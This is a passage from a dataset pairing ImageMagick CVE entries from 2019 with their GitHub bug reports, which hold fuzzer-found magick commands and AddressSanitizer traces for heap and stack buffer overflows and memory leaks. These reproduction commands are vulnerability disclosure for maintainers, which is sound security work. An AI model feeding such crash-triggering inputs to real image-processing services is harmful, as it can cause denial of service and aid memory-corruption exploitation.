0x7f1cc92cdd0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #8 0x7f1cc9317ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #9 0x526f95 in MagickMain utilities/magick.c:149:10 #10 0x5268e1 in main utilities/magick.c:180:10 #11 0x7f1cc3d8eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #12 0x41b069 in _start (install/bin/magick+0x41b069) Address 0x7ffc7100b060 is located in stack of thread T0 at offset 19104 in frame #0 0x7f1cca228daf in WritePNMImage coders/pnm.c:1522 This frame has 6 object(s): [32, 4128) 'buffer' (line 1523) [4256, 8352) 'magick' (line 1523) [8480, 12576) 'type117' (line 1675) [12704, 14752) 'pixels' (line 1736) [14880, 16928) 'pixels255' (line 1788) [17056, 19104) 'pixels381' (line 1857) <== Memory access at offset 19104 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (install/bin/magick+0x4477c3) in strncpy ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

stack-buffer-overflow at coders/pnm.c:1902 in WritePNMImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1612/comments

2019-06-21T06:13:39Z

2019-07-08T01:52:26Z

https://github.com/ImageMagick/ImageMagick/issues/1612

CVE-2019-13307

2019-07-05T01:15:10.687

ImageMagick 7.0.8-50 Q16 has a heap-based buffer overflow at MagickCore/statistic.c in EvaluateImages because of mishandling rows.

https://github.com/ImageMagick/ImageMagick/issues/1615

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow at MagickCore/statistic.c:559:43 in EvaluateImages. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -monitor -bias 63 "(" magick:rose -colorize 172,35,77 ")" "(" magick:logo +repage ")" -crop 507x10'!'+20-54 -evaluate-sequence Median tmp` Here's ASAN log. ``` ================================================================= ==10817==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000c80 at pc 0x7f0648490e06 bp 0x7ffce3c96900 sp 0x7ffce3c968f8 WRITE of size 8 at 0x611000000c80 thread T0 #0 0x7f0648490e05 in EvaluateImages MagickCore/statistic.c:559:43 #1 0x7f0647aa55bf in CLIListOperatorImages MagickWand/operation.c:4084:22 #2 0x7f0647aaf35e in CLIOption MagickWand/operation.c:5279:14 #3 0x7f06478f0a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #4 0x7f06478f1d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #5 0x7f064793bba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #6 0x526f95 in MagickMain utilities/magick.c:149:10 #7 0x5268e1 in main utilities/magick.c:180:10 #8 0x7f06423b2b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x41b069 in _start (install/bin/magick+0x41b069) 0x611000000c80 is located 0 bytes to the right of 256-byte region [0x611000000b80,0x611000000c80) allocated by thread T0 here: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f064832b0b6 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f064832b11f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f06484926e7 in AcquirePixelThreadSet MagickCore/statistic.c:182:33 #4 0x7f0648490b21 in EvaluateImages MagickCore/statistic.c:499:19 #5 0x7f0647aa55bf in CLIListOperatorImages MagickWand/operation.c:4084:22 #6 0x7f0647aaf35e in CLIOption MagickWand/operation.c:5279:14 #7 0x7f06478f0a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x7f06478f1d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x7f064793bba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x526f95 in MagickMain utilities/magick.c:149:10 #11 0x5268e1 in main utilities/magick.c:180:10 #12 0x7f06423b2b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/statistic.c:559:43 in EvaluateImages ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-22 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow at MagickCore/statistic.c:559:43 in EvaluateImages

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1615/comments

2019-06-22T02:11:22Z

2019-08-10T11:30:08Z

https://github.com/ImageMagick/ImageMagick/issues/1615

CVE-2019-13308

2019-07-05T01:15:10.750

ImageMagick 7.0.8-50 Q16 has a heap-based buffer overflow in MagickCore/fourier.c in ComplexImage.

https://github.com/ImageMagick/ImageMagick/issues/1595

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow in MagickCore/fourier.c:299:18 in ComplexImage, and I compiled the lasted version with --disable-openmp option. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run cmd: `magick -seed 0 -mattecolor rgb"("225,230,14")" -debug Configure "(" magick:wizard +repage ")" "(" magick:netscape +repage ")" -fuzz 82 -caption "j$Y%Be" -blue-primary 727,475 -crop 405%-43-16 -crop 832x886>+11-13 -complex magnitude-phase tmp` and also this command `magick -seed 0 "(" magick:netscape +repage ")" "(" magick:wizard -resample 24x44 -resample 47x83 ")" "(" magick:netscape -charcoal 4 -random-threshold 42x71 -shade 81x21 ")" -complex magnitude-phase tmp112 ` Here's ASAN result. ``` ==9231==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fd97efce800 at pc 0x7fd98dbdd221 bp 0x7ffff99e9790 sp 0x7ffff99e9788 WRITE of size 4 at 0x7fd97efce800 thread T0 #0 0x7fd98dbdd220 in ComplexImages MagickCore/fourier.c:299:18 #1 0x7fd98d4038c1 in CLIListOperatorImages MagickWand/operation.c:3890:22 #2 0x7fd98d40f34e in CLIOption MagickWand/operation.c:5276:14 #3 0x7fd98d250a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #4 0x7fd98d251d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #5 0x7fd98d29bba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #6 0x526f95 in MagickMain utilities/magick.c:149:10 #7 0x5268e1 in main utilities/magick.c:180:10 #8 0x7fd987d12b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41b069 in _start (install/bin/magick+0x41b069) 0x7fd97efce800 is located 0 bytes to the right of 3686400-byte region [0x7fd97ec4a800,0x7fd97efce800) allocated by thread T0 here: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fd98dc8a666 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7fd98d9d36ac in OpenPixelCache MagickCore/cache.c:3728:46 #3 0x7fd98d9d9991 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0x7fd98d9dfc59 in SyncImagePixelCache MagickCore/cache.c:5494:28 #5 0x7fd98dc3dfc1 in SetImageStorageClass MagickCore/image.c:2627:10 #6 0x7fd98dbdb4f7 in ComplexImages MagickCore/fourier.c:185:7 #7 0x7fd98d4038c1 in CLIListOperatorImages MagickWand/operation.c:3890:22 #8 0x7fd98d40f34e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fd98d250a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fd98d251d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fd98d29bba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fd987d12b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/fourier.c:299:18 in ComplexImages ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-17 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow in MagickCore/fourier.c:299:18 in ComplexImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1595/comments

2019-06-17T02:21:01Z

2019-08-13T11:59:01Z

https://github.com/ImageMagick/ImageMagick/issues/1595

CVE-2019-13309

2019-07-05T01:15:10.813

ImageMagick 7.0.8-50 Q16 has memory leaks at AcquireMagickMemory because of mishandling the NoSuchImage error in CLIListOperatorImages in MagickWand/operation.c.

https://github.com/ImageMagick/ImageMagick/issues/1616

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's memory leaks in MagickCore/memory.c:478:10 This issue is maybe related with [#1604](https://github.com/ImageMagick/ImageMagick/issues/1604). ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -quality 3 "(" magick:logo +repage ")" "(" magick:wizard +repage ")" -quiet -caption "%h%U" -compare -insert 2 tmp` Here's ASAN log. ``` ==22113==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13504 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c3e5114 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f9c4c3e96c9 in CloneImage MagickCore/image.c:823:25 #4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 6553600 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f9c4c18061c in OpenPixelCache MagickCore/cache.c:3728:46 #3 0x7f9c4c186901 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0x7f9c4c16e330 in QueueAuthenticPixelCacheNexus MagickCore/cache.c:4156:28 #5 0x7f9c4c16e001 in GetAuthenticPixelCacheNexus MagickCore/cache.c:1324:10 #6 0x7f9c4c1909be in GetCacheViewAuthenticPixels MagickCore/cache-view.c:312:10 #7 0x7f9c4c3f83a1 in SetImageAlpha MagickCore/image.c:2372:7 #8 0x7f9c4c479695 in ConformPixelInfo MagickCore/pixel.c:235:12 #9 0x7f9c4c3ec4a7 in SetImageBackgroundColor MagickCore/image.c:2441:3 #10 0x7f9c4c5e88b5 in ExtentImage MagickCore/transform.c:1138:10 #11 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #12 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #13 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #14 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #15 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #16 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #17 0x526f95 in MagickMain utilities/magick.c:149:10 #18 0x5268e1 in main utilities/magick.c:180:10 #19 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 22616 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f9c4c3eaafd in CloneImage MagickCore/image.c:879:43 #4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 13024 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c3e5114 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f9c4c3e7753 in AcquireImageInfo MagickCore/image.c:350:28 #4 0x7f9c4c3f0513 in CloneImageInfo MagickCore/image.c:945:14 #5 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21 #6 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12 #7 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14 #8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 9152 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f9c4c16aa04 in AcquirePixelCache MagickCore/cache.c:195:28 #3 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28 #4 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22 #5 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #6 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #7 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #8 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 512 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f9c4c478f3a in AcquirePixelChannelMap MagickCore/pixel.c:101:35 #4 0x7f9c4c479114 in ClonePixelChannelMap MagickCore/pixel.c:139:13 #5 0x7f9c4c3ea34f in CloneImage MagickCore/image.c:849:28 #6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 288 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c148284 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f9c4c149d5d in CloneBlobInfo MagickCore/blob.c:554:27 #4 0x7f9c4c3ea808 in CloneImage MagickCore/image.c:867:25 #5 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #6 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #7 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #8 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 192 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f9c4c16b5df in AcquirePixelCacheNexus MagickCore/cache.c:271:29 #4 0x7f9c4c16af8d in AcquirePixelCache MagickCore/cache.c:212:26 #5 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28 #6 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22 #7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 96 byte(s) in 3 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c593033 in AddValueToSplayTree MagickCore/splay-tree.c:189:21 #3 0x7f9c4c593f3c in CloneSplayTree MagickCore/splay-tree.c:372:12 #4 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25 #5 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10 #6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 88 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c598084 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f9c4c594115 in NewSplayTree MagickCore/splay-tree.c:1148:32 #4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10 #7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 88 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c598084 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f9c4c594115 in NewSplayTree MagickCore/splay-tree.c:1148:32 #4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f9c4c16b383 in AcquirePixelCache MagickCore/cache.c:231:30 #4 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28 #5 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22 #6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f9c4c16b2f4 in AcquirePixelCache MagickCore/cache.c:229:25 #4 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28 #5 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22 #6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f9c4c594389 in NewSplayTree MagickCore/splay-tree.c:1159:25 #4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f9c4c16b4e2 in AcquirePixelCacheNexus MagickCore/cache.c:267:29 #3 0x7f9c4c16af8d in AcquirePixelCache MagickCore/cache.c:212:26 #4 